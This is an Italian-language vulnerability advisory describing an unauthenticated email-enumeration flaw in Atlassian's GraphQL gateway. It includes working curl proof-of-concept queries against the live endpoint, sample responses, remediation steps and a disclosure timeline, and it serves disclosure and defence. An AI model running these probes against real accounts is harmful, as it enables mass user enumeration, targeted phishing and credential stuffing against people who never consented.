CVE-2026-XXXX: Atlassian Central GraphQL — Oracle di Enumerazione Email

Prodotto

Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)

Tipo di vulnerabilità

CWE-204: Discrepanza osservabile nella risposta — Oracle di enumerazione email

Gravità

MEDIA — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Descrizione

La query GraphQL loomUnauthenticated_primaryAuthTypeForEmail sul gateway GraphQL centrale di Atlassian restituisce risposte diverse a seconda che un indirizzo email sia registrato con Atlassian, consentendo l'enumerazione non autenticata degli utenti.

Email registrata → restituisce authType (es. workos, password, google) e un URI di reindirizzamento Email non registrata → restituisce authType: "none" senza URI di reindirizzamento

Non è richiesta alcuna autenticazione. Il nome della query include "Unauthenticated" — è intenzionalmente pubblica, ma non dovrebbe rivelare se un'email arbitraria ha un account Atlassian.

Versioni interessate

• Atlassian Central GraphQL Gateway (snapshot 37157, build 2026-07-02)
• Endpoint: https://api.atlassian.com/graphql

Prova di concetto

Email registrata (restituisce il provider di autenticazione):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

Risposta:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

Email non registrata (restituisce none):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

Risposta:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

Inoltre rivela: mapping email → provider di autenticazione

authType: "workos" conferma che l'email utilizza SSO WorkOS. authType: "google" o authType: "password" rivelerebbero il metodo di autenticazione. Ciò consente phishing mirato.

Impatto

Un attaccante non autenticato può:

• Enumerare account Atlassian/Loom registrati su larga scala
• Associare le email al loro provider di autenticazione (Google SSO, WorkOS, password)
• Utilizzare le informazioni sul provider di autenticazione per campagne di phishing mirate
• Creare elenchi di utenti Atlassian validi per credential stuffing

Causa principale

La query loomUnauthenticated_primaryAuthTypeForEmail non applica alcuna limitazione di frequenza e restituisce informazioni sul provider di autenticazione per qualsiasi email senza autenticazione. Sebbene l'endpoint sia intenzionalmente non autenticato (per il flusso di registrazione di Loom), rivela se un'email ha un account e quale provider di autenticazione utilizza.

Rimedio

1. Aggiungere limitazione di frequenza per prevenire l'enumerazione di massa
2. Restituire una risposta consistente sia per email registrate che non registrate
3. OPPURE: richiedere un CAPTCHA/nonce prima di interrogare lo stato dell'email

Cosa NON è

Dopo test approfonditi, queste affermazioni sono state invalidati:

• ❌ Nessun JWT con privilegi (i token hanno aaid: "unidentified")
• ❌ Nessuna esecuzione di mutazioni admin (tutte falliscono con ValidationError)
• ❌ Nessun bypass dell'autenticazione (il gateway identifica correttamente il chiamante come unidentified)
• ❌ Nessuna fuga di dati oltre al mapping email/provider di autenticazione

Cronologia

• 2026-06-30: Scoperta
• 2026-06-30: Segnalata a [email protected]
• 2026-07-02: Valutazione corretta — declassata da Critica (9.8) a Media (5.3)

Scoperta da

Wh4l3X